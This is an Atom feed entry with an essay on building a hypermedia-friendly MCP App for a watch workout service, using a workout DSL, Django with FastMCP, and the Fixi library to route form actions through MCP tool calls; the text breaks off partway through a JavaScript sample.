<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>&lt;&#x2F;&gt; htmx - high power tools for html - Essays</title>
    <link rel="self" type="application/atom+xml" href="https://htmx.org/essays/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://htmx.org/essays/"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-03-18T00:00:00+00:00</updated>
    <id>https://htmx.org/essays/atom.xml</id>
    <entry xml:lang="en">
        <title>Hypermedia Friendly Model Context Protocol App Architecture</title>
        <published>2026-03-18T00:00:00+00:00</published>
        <updated>2026-03-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            Sung Oh
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/mcp-apps-hypermedia/"/>
        <id>https://htmx.org/essays/mcp-apps-hypermedia/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/mcp-apps-hypermedia/">&lt;p&gt;I am working on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;speedystride.com&quot;&gt;speedystride.com&lt;&#x2F;a&gt;, a programming tool that helps athletes quickly input
workouts on their Apple and Garmin watches.&lt;&#x2F;p&gt;
&lt;p&gt;These watches come with a built-in workout programming feature that is especially useful for structured programs. For
example, runners will often do interval training, which could be something like 5x1000m with 2 minute rest.&lt;&#x2F;p&gt;
&lt;p&gt;And sometimes they’ll want to do a fartlek (Swedish for ‘Speed Play’) where they will vary their speed: run 400 meters
fast - run 800 meters slower - sprint 200 meters.
These smartwatches will vibrate and beep to help the user perform at the desired target, and also count down rest
periods so the user is rested
enough for that next hard interval.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, I did not like any of the first party workout builders. These are form-based, with a drag-and-drop
interface to structure your workouts.
I think these builders have a high user friction; more user inputs are required in proportion to the output.
Additionally, these
builders &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;support.apple.com&#x2F;en-gb&#x2F;guide&#x2F;watch&#x2F;apd66fcd5c5c&#x2F;watchos&quot;&gt;run on a small watch screen&lt;&#x2F;a&gt;,
or require a separate app.
This is less than ideal when you are trying to program your watch right before a track workout. There are third party
tools in this space, but as far as I can tell, they do not fundamentally break this pattern.&lt;&#x2F;p&gt;
&lt;p&gt;I also wanted to share these workouts with everyone at my city’s track club. My service provides a scheduler that pushes
workouts automatically at a specified time for our club training; about 90% of our members have either an Apple Watch
or a Garmin so cross-platform compatibility is a very important factor.&lt;&#x2F;p&gt;
&lt;p&gt;To solve these problems, I came up with a very simple domain specific language (DSL) for both people and machines.
It can describe exercises, define rest times, and combine everything together into repeat intervals.
I implemented a simple recursive descent parser, and it outputs data formats for both Apple and Garmin devices.
By defining a small language, I was able to avoid implementing complex forms unlike the current offerings. User input is
reduced
to plain text.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;example-workout-dsl&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#example-workout-dsl&quot; aria-label=&quot;Anchor link for: example-workout-dsl&quot;&gt;Example workout DSL&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;User:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#1f2329;color:#abb2bf;&quot;&gt;&lt;code&gt;&lt;span&gt;10x200m max effort with 2 minute rest
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;DSL:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#1f2329;color:#abb2bf;&quot;&gt;&lt;code&gt;&lt;span&gt;Repeat 10 times:
&lt;&#x2F;span&gt;&lt;span&gt;- Run 200m @RPE 10
&lt;&#x2F;span&gt;&lt;span&gt;- Rest 2 minutes
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I had initially wanted coaches to learn this DSL and enter programs into my website assisted by a Codemirror editor.
I incorrectly thought that it was close enough to English for people to quickly learn it when assisted by autocomplete
features.
I was not meeting my users where they were at; graybeard track coaches had zero interest in learning how to program.
What I needed
was a translator that could convert natural English into my DSL.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;model-context-protocol-mcp-and-mcp-apps&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#model-context-protocol-mcp-and-mcp-apps&quot; aria-label=&quot;Anchor link for: model-context-protocol-mcp-and-mcp-apps&quot;&gt;Model Context Protocol (MCP) and MCP Apps&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;As I started sharing my project with other people, large language models were becoming popular, and it was an obvious
tool to translate natural English workouts into my training DSL.
By integrating LLMs, I can massively reduce user friction. There are no forms with complex UIs to implement. There is no
DSL to learn as the AI can translate natural
language for you. Users can now express their workouts in their own way.&lt;&#x2F;p&gt;
&lt;p&gt;An AI can transform the above user input to this Domain Specific Language with a relatively small language
specification. There was also a nice side effect of being very token efficient.
JSON payloads defining a repeated workout set can get quite large while my DSL can stay compact.
Any errors can be corrected as my parser can provide rich feedback on what went wrong. I have found that 95% of interval
workouts I see can be expressed through my language.&lt;&#x2F;p&gt;
&lt;p&gt;LLMs also enable new capabilities, such as programming your watch from a photo of a whiteboard.
Even more importantly, Model Context Protocol (MCP) was starting to gain traction. MCPs are a way for LLM systems to
interact with the real world, which means that besides
just outputting workout programs, the LLM can call a remote function to actually send that workout to your device.&lt;&#x2F;p&gt;
&lt;p&gt;Anthropic and OpenAI both support MCP. So it would be awesome for my business to support LLM integrations since so many
users already have Claude and ChatGPT installed on their phone.&lt;&#x2F;p&gt;
&lt;p&gt;Still, there were opportunities to further improve user experience.&lt;&#x2F;p&gt;
&lt;p&gt;I had mentioned earlier that my track club uses speedystride.com to program members’ watches. In order to do so, we have
to define a few parameters:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;What is the workout?&lt;&#x2F;li&gt;
&lt;li&gt;Should the workout be added to my Monday night track intervals, or for Tuesday fartleks?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;LLMs can help massively with the first question. But how about the second? Much of the current human-to-LLM interaction
is text-based, and MCPs are no exception.
Besides improving workout building UX, AI tools introduced new frictions. To associate a workout with an event, I had an
events tool that would fetch upcoming events for the user and add them
to the LLM context. Then it was up to the LLM to guide the user. Some systems like Claude do provide simple select
controls if your tools output JSON objects that look like a set of choices.
However, this interaction forces the developer to surrender control of the happy path, which often leaves users
confused. Also, the AI would sometimes try to be too helpful and just guess the tool inputs.
In summary, back and forth conversation with the LLM is not an ideal UX as the users have to figure out how to guide the
AI to the right inputs.&lt;&#x2F;p&gt;
&lt;p&gt;A form with a selector interface is an obvious way to solve this problem.&lt;&#x2F;p&gt;
&lt;p&gt;Luckily for me, the new MCP Apps specification was released in January 2026. This is an extension to the MCP
specification
that allows rendering custom UI inside an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;&#x2F;code&gt; of the MCP Host.&lt;&#x2F;p&gt;
&lt;p&gt;References:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;modelcontextprotocol.io&#x2F;docs&#x2F;getting-started&#x2F;intro&quot;&gt;MCP&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;modelcontextprotocol.io&#x2F;extensions&#x2F;apps&#x2F;overview&quot;&gt;MCP Apps&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;mcp-app-architecture&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#mcp-app-architecture&quot; aria-label=&quot;Anchor link for: mcp-app-architecture&quot;&gt;MCP App Architecture&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;You need to host an MCP server that can communicate with the AI systems.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;communication-model&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#communication-model&quot; aria-label=&quot;Anchor link for: communication-model&quot;&gt;Communication model:&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;pre style=&quot;background-color:#1f2329;color:#abb2bf;&quot;&gt;&lt;code&gt;&lt;span&gt;MCP Server &amp;lt;-Proxied Request-&amp;gt; LLM Host (Claude or ChatGPT) &amp;lt;-App Bridge-&amp;gt; MCP App UI (rendered inside LLM &amp;lt;iframe&amp;gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;All traffic between the MCP App UI and the LLM host must be routed through the App Bridge. The LLM host will then make
proxied requests to my MCP server.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;interactive-hypermedia-uis-in-mcp-apps&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#interactive-hypermedia-uis-in-mcp-apps&quot; aria-label=&quot;Anchor link for: interactive-hypermedia-uis-in-mcp-apps&quot;&gt;Interactive Hypermedia UIs in MCP Apps&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Let’s say that we are developing a simple workout scheduler, where we have the LLM generated workout program. Our goal
is to
associate this workout with a calendar event occurrence.
A user could have multiple events on her calendar, so a dynamic choice of occurrences should be available for each event
she is subscribed to.
On a traditional website, this could be trivially handled by a full page refresh.&lt;&#x2F;p&gt;
&lt;p&gt;On MCP App systems without interactivity, we would have to ask the LLM to fully render the MCP App
in the chat. This adds friction and unnecessarily consumes tokens. So we must find a path to interactivity within the
same UI context.&lt;&#x2F;p&gt;
&lt;p&gt;There are existing UI toolkits, such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mcpui.dev&quot;&gt;MCP-UI&lt;&#x2F;a&gt; that works really well with React. However, using
React for a simple &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; felt too complex, so I wanted a hypermedia solution.&lt;&#x2F;p&gt;
&lt;p&gt;I initially considered using HTMX, since my HTTP site uses it already. The challenge was that HTMX is heavily geared
towards processing HTTP requests.
Since my MCP App UI renders inside an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;&#x2F;code&gt;, I don’t need to push URLs or manage history.&lt;&#x2F;p&gt;
&lt;p&gt;Then I remembered &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;fixi&quot;&gt;Fixi&lt;&#x2F;a&gt; library from the creator of HTMX. It is a minimal
version of generalized hypermedia controls. Fixi proved to be very useful precisely because it doesn’t do much.
In addition to lacking history or URL push features, I can also copy &amp;amp; paste Fixi to my project to skip build steps. I
also don’t have to worry about CSP configuration if my Fixi code is served with my HTML.&lt;&#x2F;p&gt;
&lt;p&gt;The killer feature of Fixi is its &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;fixi?tab=readme-ov-file#mocking&quot;&gt;hackability&lt;&#x2F;a&gt;.
Because it expects a Response compatible object (or a Promise) rather than a strict network request, we can entirely
bypass HTTP.
I can configure Fixi to call &lt;code&gt;app.callServerTool&lt;&#x2F;code&gt; when it sees any &lt;code&gt;fx-action&lt;&#x2F;code&gt; that starts with &lt;code&gt;tool:&lt;&#x2F;code&gt;. If I use a
&lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt;, its inputs will become the function args.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s examine how to architect MCP features to serve hypermedia.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;mcp-app-lifecycle&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#mcp-app-lifecycle&quot; aria-label=&quot;Anchor link for: mcp-app-lifecycle&quot;&gt;MCP App Lifecycle&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;From &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apps.extensions.modelcontextprotocol.io&#x2F;api&#x2F;classes&#x2F;app.App.html#architecture&quot;&gt;MCP docs&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Create: Instantiate App with info and capabilities&lt;&#x2F;li&gt;
&lt;li&gt;Connect: Call &lt;code&gt;connect()&lt;&#x2F;code&gt; to establish transport and perform handshake&lt;&#x2F;li&gt;
&lt;li&gt;Interactive: Send requests, receive notifications, call tools&lt;&#x2F;li&gt;
&lt;li&gt;Cleanup: Host sends teardown request before unmounting&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;We will focus on items 2 and 3 to demonstrate a hypermedia driven MCP App.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;the-mcp-server&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-mcp-server&quot; aria-label=&quot;Anchor link for: the-mcp-server&quot;&gt;The MCP Server&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;mcp-server-architecture&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#mcp-server-architecture&quot; aria-label=&quot;Anchor link for: mcp-server-architecture&quot;&gt;MCP Server Architecture&lt;&#x2F;a&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;I host my server on a Gunicorn + Uvicorn monolith. ASGI Django handles regular HTTP traffic, and MCP traffic is routed
to
FastMCP. Since both Django and FastMCP work together, I can share resources between the HTTP and MCP domains including
ORM and template rendering.&lt;&#x2F;p&gt;
&lt;p&gt;The LLM host will render a UI by calling an MCP &lt;strong&gt;tool&lt;&#x2F;strong&gt; and its associated &lt;strong&gt;resource&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;A &lt;strong&gt;tool&lt;&#x2F;strong&gt; is similar to a view- it is a function that can return JSON or hypertext. Let’s say that our UI tool is
called &lt;code&gt;show_user_ui&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;A &lt;strong&gt;resource&lt;&#x2F;strong&gt; is a bit like a pointer to assets. LLM hosts can preload resources to deliver them more quickly to users.&lt;&#x2F;p&gt;
&lt;p&gt;Tools and resources are registered by &lt;code&gt;@mcp.tool&lt;&#x2F;code&gt; or &lt;code&gt;@mcp.resource&lt;&#x2F;code&gt; decorators. You could think of registration as
defining &lt;code&gt;urls.py&lt;&#x2F;code&gt; in Django.&lt;&#x2F;p&gt;
&lt;p&gt;Since our Django and FastMCP Applications live on the same server, we can render HTML with Django’s &lt;code&gt;render_to_string&lt;&#x2F;code&gt;
function with ORMs and templatetags.
Django 6’s
new &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.djangoproject.com&#x2F;en&#x2F;6.0&#x2F;ref&#x2F;templates&#x2F;language&#x2F;#template-partials&quot;&gt;built-in template partials&lt;&#x2F;a&gt; also
make
template organization and partial rendering easy. This allows us to co-locate our initial UI render and our dynamic
hypermedia fragments in a single file, keeping the MCP tool logic incredibly clean.&lt;&#x2F;p&gt;
&lt;h5 id=&quot;after-lifecycle-item-2-the-initial-mcp-app-render&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#after-lifecycle-item-2-the-initial-mcp-app-render&quot; aria-label=&quot;Anchor link for: after-lifecycle-item-2-the-initial-mcp-app-render&quot;&gt;After lifecycle item 2: The initial MCP App render&lt;&#x2F;a&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;Let’s talk about the &lt;strong&gt;resource&lt;&#x2F;strong&gt; first. It points to a HTML where our Fixi and MCP App Bridge code will be placed.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;django.template.loader &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;render_to_string
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@mcp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;resource&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ui:&#x2F;&#x2F;user_ui_resource.html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;mime_type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;text&#x2F;html;profile=mcp-app&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;User UI resource&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;user_ui_resource&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render_to_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;mcp&#x2F;user_ui_resource.html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This resource serves HTML rendered with &lt;code&gt;render_to_string&lt;&#x2F;code&gt; to resolve static files and template tags, but not any
user-specific data.&lt;&#x2F;p&gt;
&lt;p&gt;mcp&#x2F;user_ui_resource.html&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    {% include &amp;quot;fixi, app bridge source code, styles, etc&amp;quot; %}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;* CSS indicator classes to toggle visibility during requests *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;#indicator &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            display: none;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;#indicator.fixi-request-in-flight &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            display: inline-block;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;module&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        ...
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;MCP
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;App
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;bridge
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;setup
&lt;&#x2F;span&gt;&lt;span&gt;        ...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; 1. Configure Fixi to route `tool:` fx-actions through MCP App bridge
&lt;&#x2F;span&gt;&lt;span&gt;        document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;addEventListener&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;fx:config&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, (evt) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;action &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.detail.cfg.action;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;action&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;startsWith&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;tool:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)) {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;toolName &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;action&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;tool:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;                console.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;`callServerTool: &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;toolName&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;args &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;Object&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;fromEntries&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.detail.cfg.body ?? []);
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;detail&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;cfg&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;fetch &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async &lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;result &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;await &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;app&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;callServerTool&lt;&#x2F;span&gt;&lt;span&gt;({name: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;toolName&lt;&#x2F;span&gt;&lt;span&gt;, arguments: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;args&lt;&#x2F;span&gt;&lt;span&gt;});
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async &lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.structuredContent?.html};
&lt;&#x2F;span&gt;&lt;span&gt;                };
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        });
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; 2. Set up request indicator extension: ext-fx-indicator
&lt;&#x2F;span&gt;&lt;span&gt;        document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;addEventListener&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;fx:init&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, (evt) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
